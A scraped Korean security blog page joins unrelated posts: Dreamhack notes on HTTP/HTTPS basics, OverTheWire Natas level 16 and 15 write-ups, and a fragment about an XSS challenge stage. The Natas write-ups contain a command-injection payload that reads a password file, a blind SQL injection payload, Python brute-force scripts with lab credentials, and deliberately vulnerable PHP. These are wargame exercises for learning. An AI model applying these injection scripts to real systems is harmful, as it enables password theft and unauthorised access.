STAGE 2: Background - Web

 

웹 기본 상식

 

> Background : HTTP/HTTPS

인코딩

: 0과 1로 우리의 문자를 표현하는 것

 

- 아스키(Ascii) : 7bit 데이터에 대한 인코딩 표준

 ⋅ ex | '1000001' -> 'A'

 ⋅ 영어는 아스키, 한글은 CP-949, EUC-KR 등을 사용

 ⋅ 호환성 측면에서 국제 sw개발 회사에 큰 부담

 

- 유니코드(Unicode) : 인코딩의 호환성 측면의 한계를 해결하기 위해 모든 언어의 문자를 하나의 표준에 담기 위한 표준

 ⋅ 한 문자는 최대 32bit로 표현 -> 표현 가능한 정보의 가짓수 2^32 (대략 42억개)

 ⋅ 한글, 한자, 히라가나, 가타카나, 알파벳 뿐 아니라 이모지도 이에 포함

 

통신 프로토콜

클라이언트 : 요청 <-------> 서버 : 응답

 

- 프로토콜(Protocol) : 규격화된 상호작용에 적용되는 약속

 ⋅ ex | TCP/IP, HTTP, FTP

 

HTTP : Hyper Text Transfer Protocol

: 서버와 클라이언트의 데이터 교환을 요청과 응답 형식으로 정의한 프로토콜

- 기본 메커니즘 : 클라이언트가 서버에게 요청하면, 서버가 응답하는 것

- 클라이언트가 서비스 포트(웹 서버가 프로토콜 서버를 대기시키는 곳, ex | TCP/80 or TCP/8080)에 HTTP요청을 전송하면, 이를 해석하여 적절한 응답을 반환한다.

 

+ ) 네트워크 포트와 서비스 포트

- 포트 : 클라이언트가 서버의 포트에 접근하여 데이터를 내려놓고, 서버가 클라이언트에 보낼 데이터를 실어서 돌려보내는 것

- 네트워크 포트 : 네트워크에서 서버와 클라이언트가 정보를 교환하는 추상화된 장소

- 서비스 포트 : 네트워크 포트중에서 특정 서비스가 점유하고 있는 포트

 ⋅ ex | HTTP가 80번 포트를 점유하고 있다면 HTTP의 서비스 포트는 80번 포트가 된다.

- 포트로 데이터를 교환하는 방식은 전송 계층의 프로토콜을 따른다.

 ⋅ TCP : 패킷의 흐름을 관리하고, 데이터가 정확하게 전달되었는지 확인학는 프로토콜

 ⋅ UDP : 전송이 시작될 때, 송/수신 시스템간의 연결을 시도하지 않는 프로토콜

 

HTTP 메시지

: 클라이언트가 전송하는 HTTP요청, 서버가 반환하는 HTTP 응답이 있다.

 

- HTTP 헤드

: 각 줄은 CRLF로 구분되며 첫 줄은 시작줄, 나머지 줄은 헤더라고 부른다. 헤드의 끝은 CRLF 한 줄로 나타낸다.

 ⋅ 필드와 값으로 구성되며 HTTP 메시지 또는 바디의 속성을 나타낸다. 하나의 HTTP 메시지에는 0개 이상의 헤더가 있을 수 있다.

 

- HTTP 바디

: 헤드의 끝을 나타내는 CRLF 뒤, 모든 줄을 말한다. 클라이언트나 서버에게 전송하려는 데이터가 바디에 담긴다.

 

HTTP 요청

: 서버에게 특정 동작을 요구하는 메시지, 서버는 해당 동작이 실현 가능한 지, 클라이언트가 그러한 동작을 요청할 권한이 있는지 등을 검토하고, 적절할 때만 이를 처리한다.

 

- 시작 줄 : HTTP 요청의 시작 줄은 메소드, 요청 URI, 그리고 HTTP 버전으로 구성된다. 각각은 띄어쓰기로 구분한다.

 ⋅ 메소드 : URI가 가리키는 리소스를 대상으로, 서버가 수행하길 바라는 동작

 ⋅ GET : 리소스를 가져오라는 메소드 

  → 이용자가 브라우저에 웹 서버의 주소를 입력하거나 하이퍼링크를 클릭하면, 새로운 페이지를 렌더링하기 위해 리소스          가 필요한다. 이때 브라우저는 GET 요청을 서버에 전송하여 리소스를 받아온다. 

 ⋅ POST : 리소스로 데이터를 보내라는 메소드

  → 전송할 데이터는 보통 HTTP 바디에 포함된다. 로그인할 때 입력하는 ID와 비밀번호, 게시판에 작성하는 글 등이              POST로 서버에 보내진다.

 

HTTP 응답

: HTTP 요청에 대한 결과를 반환하는 메시지

 ⋅ 요청을 수행했는지, 하지 않았는지, 안했다면 이유는 무엇인지와 같은 상태 정보, 그리고 클라이언트에게 전송할 리소스가 응답에 포함된다.

 

- 시작 줄 : HTTP 응답의 시작줄은 HTTP버전, 상태코드, 그리고 처리 사유로 구성, 각각은 띄어쓰기로 구분

 ⋅ HTTP 버전 : 서버에서 사용하는 HTTP 프로토콜의 버전

 ⋅ 상태코드 : 요청에 대한 처리 결과를 세 자릿수로 나타냄

 ⋅ 처리 사유 : 상태 코드가 발생한 이유를 짧게 기술한 것

 

→ 200 상태코드를 갖는 응답

 

HTTP Request & Response

: 원하는 메소드를 선택하여 요청을 전송하면, 오른쪽에서 전송된 요청 및 응답의 구조를 확인할 수 있다.

 

 

HTTPS (HTTP over Secure socket layer)

: TLS(Transport Layer Security) 프로토콜을 도입하여 평문으로 전달되는 HTTP 응답과 요청을 가로채지 못하도록 함

 ⋅ TLS : 서버와 클라이언트 사이에 오가는 모든 HTTP 메시지를 암호화, 공격자가 중간에 메시지를 탈취하더라도 이를 해석     하는 것은 불가능하며 결과적으로 HTTP 통신이 도청과 변조로부터 보호된다.

HTTP 메시지는 쉽게 해독이 가능하다

 

HTTPS 메시지는 해석이 불가능하다

 

'Web Hacking > Dreamhack' 카테고리의 다른 글

[Dreamhack] Web Hacking STAGE 7  (0) 2022.08.09
[Dreamhack] Web Hacking STAGE 6  (0) 2022.08.02
[Dreamhack] Web Hacking STAGE 5  (0) 2022.07.25
[Dreamhack] Web Hacking STAGE 4  (0) 2022.07.19
[Dreamhack] Web Hacking STAGE 3  (0) 2022.07.13

다음은 natas16의 페이지 화면이다.

 

a를 입력해보았더니 이를 포함하는 것들을 모두 출력해주었다.

 

View sourcecode를 통해 소스코드를 확인보았다.

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas16", "pass": "<censored>" };</script></head>
<body>
<h1>natas16</h1>
<div id="content">

For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

preg_match함수로 ; | & ` \ ' " 를 막아두었다.

 

$(grep ^0 /etc/natas_webpass/natas17) 를 입력하였더니 아래와 같이 출력되었다.

 

$(grep ^8 /etc/natas_webpass/natas17) 를 입력하였더니 아래와 같이 출력되었다. -> 비밀번호의 첫글자 = 8

 

네트워크 정보를 확인해주었다.

 

파이썬 자동화 프로그램을 다음과 같이 구성하여 비밀번호를 얻을 수 있었다.

import socket

pw=""
for idx in range(1,33):
  for ch in range(48,123):
    if 58 <= ch <= 64: continue
    if 91 <= ch <= 96: continue
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect(("176.9.9.172",80))
 
    header = "GET /"
    header += "?needle=%24%28grep%20%5E"+pw+chr(ch)+"%20/etc/natas_webpass/natas17%20test%29&submit=Search "
    header += "HTTP/1.1\r\n"
    header += "Authorization:Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==\r\n"
    header += "Host:natas16.natas.labs.overthewire.org\r\n"
    header += "\r\n"
 
    response = " "
    sock.send(header.encode())
    response = sock.recv(65535)
    response = response.decode()
    if not("African" in response):
        pw += chr(ch)
        print(pw)
        sock.close()
        break;
    sock.close()

비밀번호 : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

 

참고 : security04.tistory.com

'Web Hacking > Natas' 카테고리의 다른 글

[Natas] Level 17 > Level 18  (0) 2022.09.18
[Natas] Level 16 > Level 17  (0) 2022.09.11
[Natas] Level 14 > Level 15  (0) 2022.06.25
[Natas] Level 13 > Level 14  (0) 2022.06.19
[Natas] Level 12 > Level 13  (0) 2022.06.18

다음은 natas15의 페이지 화면이다.

 

텍스트 상자에 아무거나 입력했더니 다음과 같은 문구가 떴다.

 

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas15", "pass": "<censored>" };</script></head>
<body>
<h1>natas15</h1>
<div id="content">
<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
mysql_query()
: 다른 형식의 SQL구문, INSERT, UPDATE, DELETE, DROP 등에서 성공하면 TRUE를, 실패하면 FALSE를 반환하는 함수
mysql_num_rows()
: DB에서 쿼리를 날려서 나온 레코드들(열)의 개수를 반환하는 함수

쿼리에 오류가 없으면(mysql_query함수의 반환값이 TRUE 이면) 'This user exits'이 출력되고 그렇지 않으면 'This user doesn't exis't이 출력된다.

 

CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);

주석 처리 된 SQL문을 보면 users테이블에 username, password 칼럼이 존재한다.

 

" or 1=1# 을 입력해주니 'This user exits'라는 문구가 떴다.

 

개발자 도구 > Network 에서 Request Headers 내용을 확인할 수 있었다.

 

위 내용들 속 필요한 정보를 포함해 파이썬 자동화 코드를 작성한다.

 

import socket

key=''
for i in range(1,33):
    for k in range(48,123):
        if 58 <= k <= 64: continue
        if 91 <= k <= 96: continue
        sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        sock.connect(("176.9.9.172",80))

        header = "GET /index.php?username=natas16\"+"
        header += "and+ascii%28substr%28%28select+password+from+users+"
        header += "limit+3%2C1%29%2C"+str(i)+"%2C1%29%29=\""+str(k)+" "
        header += "HTTP/1.1\r\n"
        header += "Authorization:Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n"
        header += "Host:natas15.natas.labs.overthewire.org\r\n"
        header += "\r\n"

        sock.send(header.encode())
        response = sock.recv(1500)
        response = response.decode()

        if "This user exists." in response:
            key +=chr(k)
            print(key)
            break

 

위 코드를 실행해주면 아래와 같은 결과가 나온다.

이를 통해 비밀번호를 찾을 수 있었다.

 

참고 : mint2356.tistory.com

'Web Hacking > Natas' 카테고리의 다른 글

[Natas] Level 16 > Level 17  (0) 2022.09.11
[Natas] Level 15 > Level 16  (0) 2022.06.25
[Natas] Level 13 > Level 14  (0) 2022.06.19
[Natas] Level 12 > Level 13  (0) 2022.06.18
[Natas] Level 11 > Level 12  (0) 2022.05.27

stage13과 동일하게 아래와 같이 코드를 변경해주었다.

 

그랬더니 공격에 성공할 수 있었다.

 

stage15 : https://xss-quiz.int21h.jp/stage__15.php?sid=1eb57535b2119c5895aa4d3661d5ddc86676ba70

'Web Hacking > XSS Challenge' 카테고리의 다른 글

[XSS Challenge] Stage 13  (0) 2022.06.19
[XSS Challenge] Stage 12  (0) 2022.05.28
[XSS Challenge] Stage 10  (0) 2022.05.21
[XSS Challenge] Stage 09  (0) 2022.05.21
[XSS Challenge] Stage 08  (0) 2022.05.15

+ Recent posts